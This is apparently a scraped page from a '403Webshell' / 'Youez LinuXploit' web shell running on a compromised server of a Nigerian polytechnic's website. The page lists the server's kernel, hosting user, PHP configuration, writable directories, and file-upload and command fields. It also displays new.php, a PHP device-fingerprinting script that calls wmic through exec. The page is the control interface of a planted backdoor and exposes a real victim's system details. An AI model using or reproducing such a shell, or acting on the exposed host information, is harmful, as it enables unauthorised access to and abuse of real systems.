403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.69.58.211
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/phpStuff/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/phpStuff/new.php
<?php
header("Access-Control-Allow-Origin: *");

function generateDeviceFingerprint() {
    $userAgent = $_SERVER['HTTP_USER_AGENT'];
    $screenResolution = $_SERVER['HTTP_SCREEN_RESOLUTION']; // Assumes the client sends this header

    // Other attributes you may consider collecting:
    // - Supported plugins
    // - Accept language
    // - Timezone
    // - IP address (although it's less reliable for tracking)

    // Combine the attributes to create a unique fingerprint
    $fingerprint = $userAgent . $screenResolution;

    // You can hash the fingerprint to obfuscate it if desired
    $hashedFingerprint = sha1($fingerprint);

    return $hashedFingerprint;
}

$deviceFingerprint = generateDeviceFingerprint();
echo 'deviceFingerprint:-'. $deviceFingerprint;
echo '<br>deviceFingerprint:-'.$userAgent = $_SERVER['HTTP_USER_AGENT'];

echo '<br>';

function getDiskSignature() {
    $output = [];
    exec('wmic path win32_physicalmedia get SerialNumber', $output);

    if (!empty($output[1])) {
        $diskSignature = trim($output[1]);
        return $diskSignature;
    }

    return null;
}

$diskSignature = getDiskSignature();
echo 'DiskSignature:-'.$diskSignature;

?>

Youez - 2016 - github.com/yon3zu
LinuXploit